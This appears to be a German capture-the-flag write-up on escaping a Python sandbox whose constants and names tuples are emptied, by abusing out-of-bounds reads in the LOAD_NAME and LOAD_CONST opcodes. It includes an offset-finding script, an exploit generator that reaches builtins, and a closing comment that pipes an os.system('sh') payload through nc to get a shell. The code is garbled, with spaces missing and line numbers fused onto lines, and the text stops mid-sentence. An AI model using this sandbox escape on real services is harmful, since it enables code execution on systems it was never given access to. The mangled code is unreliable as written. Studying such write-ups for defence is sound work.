Wir können die OOB-Lese-Funktion im LOAD_NAME / LOAD_CONST-Opcode verwenden, um ein Symbol im Speicher zu erhalten. Das bedeutet, dass wir einen Trick wie (a, b, c, ... Hunderte von Symbolen ..., __getattribute__) if [] else [].__getattribute__(...) verwenden können, um ein gewünschtes Symbol (wie z.B. einen Funktionsnamen) zu erhalten.
Dann müssen Sie nur noch Ihren Exploit erstellen.
Übersicht
Der Quellcode ist ziemlich kurz und enthält nur 4 Zeilen!
Sie können beliebigen Python-Code eingeben, und er wird zu einem Python-Code-Objekt kompiliert. Jedoch werden co_consts und co_names dieses Code-Objekts vor der Auswertung durch ein leeres Tupel ersetzt.
Auf diese Weise können alle Ausdrücke, die Konstanten (z. B. Zahlen, Zeichenketten usw.) oder Namen (z. B. Variablen, Funktionen) enthalten, letztendlich zu einem Segmentation Fault führen.
Out of Bound Read
Wie kommt es zu dem Segmentation Fault?
Beginnen wir mit einem einfachen Beispiel. [a, b, c] könnte in den folgenden Bytecode kompiliert werden.
Aber was passiert, wenn die co_names ein leeres Tupel wird? Der LOAD_NAME 2 Opcode wird immer noch ausgeführt und versucht, den Wert von der Speicheradresse zu lesen, an der er ursprünglich sein sollte. Ja, das ist eine Out-of-Bound-Lese-"Funktion".
Das Kernkonzept für die Lösung ist einfach. Einige Opcodes in CPython, wie zum Beispiel LOAD_NAME und LOAD_CONST, sind anfällig (?) für OOB-Lesevorgänge.
Sie rufen ein Objekt aus dem Index oparg des consts- oder names-Tupels ab (das ist das, was unter der Haube als co_consts und co_names bezeichnet wird). Wir können uns den folgenden kurzen Ausschnitt über LOAD_CONST ansehen, um zu sehen, was CPython tut, wenn es den LOAD_CONST-Opcode verarbeitet.
case TARGET(LOAD_CONST): {PREDICTED(LOAD_CONST);PyObject *value =GETITEM(consts, oparg);Py_INCREF(value);PUSH(value);FAST_DISPATCH();}1234567
Auf diese Weise können wir die OOB-Funktion verwenden, um einen "Namen" aus einem beliebigen Speicheroffset zu erhalten. Um sicherzustellen, welchen Namen er hat und welchen Offset er hat, versuchen Sie einfach weiterhin LOAD_NAME 0, LOAD_NAME 1 ... LOAD_NAME 99 ... Und Sie könnten etwas bei oparg > 700 finden. Sie können auch versuchen, gdb zu verwenden, um sich natürlich die Speicherstruktur anzusehen, aber ich denke nicht, dass es einfacher wäre?
Generieren des Exploits
Sobald wir diese nützlichen Offsets für Namen / Konstanten abrufen, wie erhalten wir einen Namen / eine Konstante aus diesem Offset und verwenden sie? Hier ist ein Trick für Sie:
Nehmen wir an, wir können einen __getattribute__-Namen aus Offset 5 (LOAD_NAME 5) mit co_names=() erhalten, dann führen Sie einfach die folgenden Schritte aus:
[a,b,c,d,e,__getattribute__] if [] else [[].__getattribute__# you can get the __getattribute__ method of list object now!]1234
Beachten Sie, dass es nicht notwendig ist, es als __getattribute__ zu benennen. Sie können es auch kürzer oder seltsamer benennen.
Sie können den Grund dafür verstehen, indem Sie einfach den Bytecode anzeigen:
Beachten Sie, dass LOAD_ATTR auch den Namen aus co_names abruft. Python lädt Namen aus demselben Offset, wenn der Name gleich ist, sodass das zweite __getattribute__ immer noch von Offset=5 geladen wird. Mit dieser Funktion können wir einen beliebigen Namen verwenden, sobald der Name in der Nähe des Speichers liegt.
Die Generierung von Zahlen sollte trivial sein:
0: nicht [[]]
1: nicht []
2: (nicht []) + (nicht [])
...
Exploit-Skript
Ich habe keine Konstanten verwendet, aufgrund der Längenbeschränkung.
Hier ist zunächst ein Skript, mit dem wir die Offsets dieser Namen finden können.
from types import CodeTypefrom opcode import opmapfrom sys import argvclassMockBuiltins(dict):def__getitem__(self,k):iftype(k)==str:return kif__name__=='__main__':n =int(argv[1])code = [*([opmap['EXTENDED_ARG'], n //256]if n //256!=0else []),opmap['LOAD_NAME'], n %256,opmap['RETURN_VALUE'],0]c =CodeType(0, 0, 0, 0, 0, 0,bytes(code),(), (), (), '<sandbox>', '<eval>', 0, b'', ())ret =eval(c, {'__builtins__': MockBuiltins()})if ret:print(f'{n}: {ret}')# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
Und das Folgende dient zur Generierung des eigentlichen Python-Exploits.
import sysimport unicodedataclassGenerator:# get numnerdef__call__(self,num):if num ==0:return'(not[[]])'return'('+ ('(not[])+'* num)[:-1] +')'# get stringdef__getattribute__(self,name):try:offset =None.__dir__().index(name)returnf'keys[{self(offset)}]'exceptValueError:offset =None.__class__.__dir__(None.__class__).index(name)returnf'keys2[{self(offset)}]'_ =Generator()names = []chr_code =0for x inrange(4700):whileTrue:chr_code +=1char = unicodedata.normalize('NFKC', chr(chr_code))if char.isidentifier()and char notin names:names.append(char)breakoffsets ={"__delitem__":2800,"__getattribute__":2850,'__dir__':4693,'__repr__':2128,}variables = ('keys','keys2','None_','NoneType','m_repr','globals','builtins',)for name, offset in offsets.items():names[offset]= namefor i, var inenumerate(variables):assert var notin offsetsnames[792+ i]= varsource =f'''[({",".join(names)}) if [] else [],None_ := [[]].__delitem__({_(0)}),keys := None_.__dir__(),NoneType := None_.__getattribute__({_.__class__}),keys2 := NoneType.__dir__(NoneType),get := NoneType.__getattribute__,m_repr := get(get(get([],{_.__class__}),{_.__base__}),{_.__subclasses__})()[-{_(2)}].__repr__,globals := get(m_repr, m_repr.__dir__()[{_(6)}]),builtins := globals[[*globals][{_(7)}]],builtins[[*builtins][{_(19)}]](builtins[[*builtins][{_(28)}]](), builtins)]'''.strip().replace('\n', '').replace(' ', '')print(f"{len(source) = }", file=sys.stderr)print(source)# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
Es macht im Wesentlichen folgende Dinge für die Zeichenketten, die wir aus der __dir__-Methode erhalten: